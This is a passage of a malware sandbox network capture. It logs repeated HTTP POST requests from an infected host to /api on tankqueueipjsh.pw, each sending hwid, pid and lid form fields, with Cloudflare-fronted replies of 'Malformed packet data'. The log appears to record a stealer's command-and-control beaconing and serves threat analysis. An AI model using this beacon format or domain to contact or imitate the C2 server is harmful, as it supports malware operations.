Dec 6, 2023 14:35:23.821118116 CET	122	IN	Data Raw: 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 36 63 37 65 63 32 32 30 36 34 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: udflareCF-RAY: 8314e96c7ec22064-IAD15Malformed packet data
Dec 6, 2023 14:35:23.821154118 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	50231	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:23.921710968 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:23.921888113 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:24.188095093 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=8dj8h3b2gr2rdnv3o332plm3kb; expires=Sun, 31 Mar 2024 07:22:03 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:24 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:24 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:24 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2FwwIRhDhnZGvepE5yOIIp9hW6XCa6hdYOxUjV%2BC4ERGpEIgPGQEx3Qlt4MdIsm5gAzhzRGF70nGeaGJknmh48ADLuAfh7%2FpdY97L6HRSLv0lOJk4yjMEtOKTy5TKX7S%2F0HyXag%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cl Data Raw: Data Ascii:
Dec 6, 2023 14:35:24.188119888 CET	122	IN	Data Raw: 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 36 65 63 64 30 64 36 66 61 66 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: udflareCF-RAY: 8314e96ecd0d6faf-IAD15Malformed packet data
Dec 6, 2023 14:35:24.188132048 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	50232	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:24.286403894 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:24.286567926 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:24.634766102 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=4u9b56cascuhkeavh5ivure88q; expires=Sun, 31 Mar 2024 07:22:03 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:24 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:24 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:24 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=rKtgPtQ1IaMZBy%2Fg3N1w650VWyWr9lGBMZWcl12qCy2Z7zvpxNvv5S0lvXgx5N6lkRVVDGVY%2BwqmnTlJ%2FvIQSE%2FSX1%2BrgB7sowMOGhxsMIm9NdEkb00N%2BKP1sTfID86ezybABA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server Data Raw: Data Ascii:
Dec 6, 2023 14:35:24.634785891 CET	126	IN	Data Raw: 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 37 31 30 63 30 34 32 34 33 30 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: cloudflareCF-RAY: 8314e9710c042430-IAD15Malformed packet data
Dec 6, 2023 14:35:24.634797096 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	50233	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:24.858971119 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:24.859111071 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:25.222261906 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=vug7qh4d5h52el8po9nk1tunfi; expires=Sun, 31 Mar 2024 07:22:04 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:25 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:25 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:25 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=PlTQ89W56bpypyVx97aWtkx86ghKChAMdSwcMIv9OsCSJPt9Eba0UEwBDowJCJhnCEzu05OXyT3HdJ88bzeyzFW9mLcCyN%2BSWYN2R4kqaU9IHRjX203QMkG7sR%2BmXX%2Fo6cwTwQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: clou Data Raw: Data Ascii:
Dec 6, 2023 14:35:25.222322941 CET	120	IN	Data Raw: 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 37 34 39 61 37 30 30 61 38 37 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: flareCF-RAY: 8314e9749a700a87-IAD15Malformed packet data
Dec 6, 2023 14:35:25.222439051 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	50234	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:25.319895983 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:25.320126057 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:25.577699900 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=67ctr4ik434eeuk6l9t3a99jbc; expires=Sun, 31 Mar 2024 07:22:04 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:25 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:25 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:25 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=AfutiQrx6t0NKuwkkXe29OZof8zKU4U3Rc30HYVLGzRRYgVcHJYSOiFDg9ZAuk%2FwLgQ93kWxbtrMKG9BD1hnRy2TyvHdqd4KezKHUm83mjFSLpIO2%2Be%2Bh0yItxKrB8heVeyeLw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: clou Data Raw: Data Ascii:
Dec 6, 2023 14:35:25.577738047 CET	120	IN	Data Raw: 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 37 37 37 39 65 32 31 66 64 64 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: flareCF-RAY: 8314e97779e21fdd-IAD15Malformed packet data
Dec 6, 2023 14:35:25.577773094 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	50235	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:26.052238941 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:26.052366972 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:26.309511900 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=2qim5akrmsmfjpa2q86i5ms8or; expires=Sun, 31 Mar 2024 07:22:05 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:26 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:26 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:26 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Fl8vctaEGAymKLvpWR4RRUyF5PDqkauZ%2Bfj1k805eqFyjEV1cjMU2iz4tTKnpriMfmCTmoShTOhFNURQYvMzxL4sXxL3cFziGszhEOIJptSH00kC7nD23mfB%2BDdKpZrJCqxBxQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudf Data Raw: Data Ascii:
Dec 6, 2023 14:35:26.309568882 CET	118	IN	Data Raw: 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 37 63 31 39 61 64 35 38 61 38 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: areCF-RAY: 8314e97c19ad58a8-IAD15Malformed packet data
Dec 6, 2023 14:35:26.309691906 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	50236	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:26.685050964 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:26.685183048 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:26.949165106 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=tn5jejm74u7ao6j0b4m0qd3fme; expires=Sun, 31 Mar 2024 07:22:05 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:26 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:26 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:26 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=r12VZBq89h7zP1Jh6Vec9REr9cbvSsam%2F%2FN660Zk12ctMp0yC7GVR2tkXtNyBfIfHPT2yVOYgHcR3jtPNGalU%2BdwxNl86jO25uZg%2FvXvq6hE8ncifrBDEgFMZUmHUIYQD3amNw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cl Data Raw: Data Ascii:
Dec 6, 2023 14:35:26.949194908 CET	122	IN	Data Raw: 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 38 30 30 61 35 35 33 39 62 32 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: udflareCF-RAY: 8314e9800a5539b2-IAD15Malformed packet data
Dec 6, 2023 14:35:26.949210882 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	50237	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:27.096498013 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:27.096801043 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:27.467818022 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=suubu5lj8vsjdm09t84pn76jnr; expires=Sun, 31 Mar 2024 07:22:06 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:27 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:27 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:27 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Hz80xrAUb0CJSnIen%2B8M6hvYS393YVi0azCcER8g3qY0swCzfijCdpW7oNseA5p2sTXBf8SuPYmCUNdqkSMa1C69wmZlScXbIrbKwCK6lut2k9uSsFs2qkhUhTdyiH%2F9ZVv%2BPA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: clou Data Raw: Data Ascii:
Dec 6, 2023 14:35:27.467856884 CET	120	IN	Data Raw: 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 38 32 39 63 31 39 30 37 63 39 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: flareCF-RAY: 8314e9829c1907c9-IAD15Malformed packet data
Dec 6, 2023 14:35:27.470479965 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	50238	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:27.567585945 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:27.567737103 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:27.938057899 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=e1764eqjvd20u4dgpr8b5co42t; expires=Sun, 31 Mar 2024 07:22:06 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:27 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:27 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:27 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=3jfz2q3TF7e9BXteKsULukUka3R67C0RFusDDX4We1WJTB%2BOFVSpJShTUdIyDrYchFDH0Khn6GSYRPdomHgNi8Sr5lzcUJeVPBrJsxmduQApkNdPT2V4Nbj0rHXE6me4spCepQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudfla Data Raw: Data Ascii:
Dec 6, 2023 14:35:27.938107967 CET	116	IN	Data Raw: 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 38 35 38 64 66 35 30 37 36 36 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: eCF-RAY: 8314e9858df50766-IAD15Malformed packet data
Dec 6, 2023 14:35:27.938122034 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	50239	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:31.575551033 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:31.575740099 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
